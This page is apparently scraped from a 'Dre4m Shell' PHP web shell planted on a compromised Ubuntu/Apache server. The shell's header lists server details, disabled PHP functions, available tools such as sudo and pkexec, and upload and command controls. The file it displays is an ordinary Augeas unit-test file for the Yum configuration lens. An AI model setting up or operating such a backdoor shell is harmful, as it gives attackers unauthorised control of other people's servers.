Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.14.135.79
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/augeas/lenses/dist/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/augeas/lenses/dist/tests/test_yum.aug
(*
Module: Test_Yum
  Provides unit tests and examples for the <Yum> lens.
*)

module Test_yum =

  let yum_simple = "[sec1]
# comment
key=value
[sec-two]
key1=value1
# comment
key2=value2
"

  let yum_conf = "[main]
cachedir=/var/cache/yum
keepcache=0
debuglevel=2
logfile=/var/log/yum.log
exactarch=1
obsoletes=1
gpgcheck=1
plugins=1
metadata_expire=1800

installonly_limit=100

# PUT YOUR REPOS HERE OR IN separate files named file.repo
# in /etc/yum.repos.d
"

  let yum_repo1 = "[fedora]
name=Fedora $releasever - $basearch
failovermethod=priority
#baseurl=http://download.fedora.redhat.com/pub/fedora/linux/releases/$releasever/Everything/$basearch/os/
mirrorlist=http://mirrors.fedoraproject.org/mirrorlist?repo=fedora-$releasever&arch=$basearch
enabled=1
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-fedora file:///etc/pki/rpm-gpg/RPM-GPG-KEY

[fedora-debuginfo]
name=Fedora $releasever - $basearch - Debug
failovermethod=priority
#baseurl=http://download.fedora.redhat.com/pub/fedora/linux/releases/$releasever/Everything/$basearch/debug/
mirrorlist=http://mirrors.fedoraproject.org/mirrorlist?repo=fedora-debug-$releasever&arch=$basearch
enabled=0
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-fedora file:///etc/pki/rpm-gpg/RPM-GPG-KEY

[fedora-source]
name=Fedora $releasever - Source
failovermethod=priority
#baseurl=http://download.fedora.redhat.com/pub/fedora/linux/releases/$releasever/Everything/source/SRPMS/
mirrorlist=http://mirrors.fedoraproject.org/mirrorlist?repo=fedora-source-$releasever&arch=$basearch
enabled=0
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-fedora file:///etc/pki/rpm-gpg/RPM-GPG-KEY
"
  let yum_repo2 = "[remi]
name=Les RPM de remi pour FC$releasever - $basearch
baseurl=http://remi.collet.free.fr/rpms/fc$releasever.$basearch/
    http://iut-info.ens.univ-reims.fr/remirpms/fc$releasever.$basearch/
enabled=0
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-remi

[remi-test]
name=Les RPM de remi en test pour FC$releasever - $basearch
baseurl=http://remi.collet.free.fr/rpms/test-fc$releasever.$basearch/
    http://iut-info.ens.univ-reims.fr/remirpms/test-fc$releasever.$basearch/
enabled=0
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-remi
"

  let cont = "[main]\nbaseurl=url1\n   url2 , url3\n   \n"

  test Yum.lns get yum_simple =
  { "sec1"
    { "#comment" = "comment" }
    { "key" = "value" }
  }
  { "sec-two"
    { "key1" = "value1" }
    { "#comment" = "comment" }
    { "key2" = "value2" }
  }

  test Yum.lns put yum_conf after
      rm "main"
    = ""

  test Yum.lns put yum_simple after
      set "sec1/key" "othervalue"
    = "[sec1]\n# comment\nkey=othervalue\n[sec-two]\nkey1=value1\n# comment\nkey2=value2\n"

  test Yum.lns put yum_simple after
      rm "sec1" ;
      rm "sec-two/key1"
  = "[sec-two]\n# comment\nkey2=value2\n"

  test Yum.lns put yum_simple after
      rm "sec1" ;
      rm "sec-two/key1" ;
      set "sec-two/newkey" "newvalue"
  = "[sec-two]\n# comment\nkey2=value2\nnewkey=newvalue\n"

  test Yum.lns put yum_simple after
      rm "sec1" ;
      set "sec-two/key1" "newvalue"
   = "[sec-two]\nkey1=newvalue\n# comment\nkey2=value2\n"

  test Yum.lns get cont =
    { "main"
        { "baseurl" = "url1" }
        { "baseurl" = "url2" }
        { "baseurl" = "url3" }
        {}
    }

  test Yum.lns put cont after
      set "main/gpgcheck" "1"
  =
    cont . "gpgcheck=1\n"

  (* We are actually stricter than yum in checking syntax. The yum.conf *)
  (* man page mentions that it is illegal to have multiple baseurl keys *)
  (* in the same section, but yum will just carry on, usually with      *)
  (* results that surpise the unsuspecting user                         *)
  test Yum.lns get "[repo]\nbaseurl=url1\nbaseurl=url2\n" = *

  (* This checks that we take the right branch in the section lens.     *)
  test Yum.record get "[repo]\nname=A name\nbaseurl=url1\n" =
    { "repo"
        { "name" = "A name" }
        { "baseurl" = "url1" } }

  (* Handle continuation lines for gpgkey; bug #132 *)
  test Yum.lns get "[main]\ngpgkey=key1\n  key2\n" =
    { "main"
        { "gpgkey" = "key1" }
        { "gpgkey" = "key2" } }

  test Yum.lns get yum_repo1 =
  { "fedora"
    { "name" = "Fedora $releasever - $basearch" }
    { "failovermethod" = "priority" }
    { "#comment" = "baseurl=http://download.fedora.redhat.com/pub/fedora/linux/releases/$releasever/Everything/$basearch/os/" }
    { "mirrorlist" = "http://mirrors.fedoraproject.org/mirrorlist?repo=fedora-$releasever&arch=$basearch" }
    { "enabled" = "1" }
    { "gpgcheck" = "1" }
    { "gpgkey" = "file:///etc/pki/rpm-gpg/RPM-GPG-KEY-fedora" }
    { "gpgkey" = "file:///etc/pki/rpm-gpg/RPM-GPG-KEY" }
    {  }
  }
  { "fedora-debuginfo"
    { "name" = "Fedora $releasever - $basearch - Debug" }
    { "failovermethod" = "priority" }
    { "#comment" = "baseurl=http://download.fedora.redhat.com/pub/fedora/linux/releases/$releasever/Everything/$basearch/debug/" }
    { "mirrorlist" = "http://mirrors.fedoraproject.org/mirrorlist?repo=fedora-debug-$releasever&arch=$basearch" }
    { "enabled" = "0" }
    { "gpgcheck" = "1" }
    { "gpgkey" = "file:///etc/pki/rpm-gpg/RPM-GPG-KEY-fedora" }
    { "gpgkey" = "file:///etc/pki/rpm-gpg/RPM-GPG-KEY" }
    {  }
  }
  { "fedora-source"
    { "name" = "Fedora $releasever - Source" }
    { "failovermethod" = "priority" }
    { "#comment" = "baseurl=http://download.fedora.redhat.com/pub/fedora/linux/releases/$releasever/Everything/source/SRPMS/" }
    { "mirrorlist" = "http://mirrors.fedoraproject.org/mirrorlist?repo=fedora-source-$releasever&arch=$basearch" }
    { "enabled" = "0" }
    { "gpgcheck" = "1" }
    { "gpgkey" = "file:///etc/pki/rpm-gpg/RPM-GPG-KEY-fedora" }
    { "gpgkey" = "file:///etc/pki/rpm-gpg/RPM-GPG-KEY" }
  }


  test Yum.lns get yum_repo2 =
  { "remi"
    { "name" = "Les RPM de remi pour FC$releasever - $basearch" }
    { "baseurl" = "http://remi.collet.free.fr/rpms/fc$releasever.$basearch/" }
    { "baseurl" = "http://iut-info.ens.univ-reims.fr/remirpms/fc$releasever.$basearch/" }
    { "enabled" = "0" }
    { "gpgcheck" = "1" }
    { "gpgkey" = "file:///etc/pki/rpm-gpg/RPM-GPG-KEY-remi" }
    {  }
  }
  { "remi-test"
    { "name" = "Les RPM de remi en test pour FC$releasever - $basearch" }
    { "baseurl" = "http://remi.collet.free.fr/rpms/test-fc$releasever.$basearch/" }
    { "baseurl" = "http://iut-info.ens.univ-reims.fr/remirpms/test-fc$releasever.$basearch/" }
    { "enabled" = "0" }
    { "gpgcheck" = "1" }
    { "gpgkey" = "file:///etc/pki/rpm-gpg/RPM-GPG-KEY-remi" }
  }

  (* Test: Yum.lns
      Check that we can parse an empty line, to fix test-save *)
  test Yum.lns get "\n" = { }

  (* Test: Yum.lns
       Issue #45: allow spaces around equals sign *)
  test Yum.lns get "[rpmforge]
name = RHEL $releasever - RPMforge.net - dag
baseurl = http://apt.sw.be/redhat/el6/en/$basearch/rpmforge\n" =
    { "rpmforge"
      { "name" = "RHEL $releasever - RPMforge.net - dag" }
      { "baseurl" = "http://apt.sw.be/redhat/el6/en/$basearch/rpmforge" }
    }

  (* Test: Yum.lns
       Issue #275: parse excludes as a list *)
  test Yum.lns get "[epel]
name=Extra Packages for Enterprise Linux 6 - $basearch
exclude=ocs* clamav*
" =
    { "epel"
      { "name" = "Extra Packages for Enterprise Linux 6 - $basearch" }
      { "exclude" = "ocs*" }
      { "exclude" = "clamav*" } }

(* Local Variables: *)
(* mode: caml       *)
(* End:             *)

Anon7 - 2022
AnonSec Team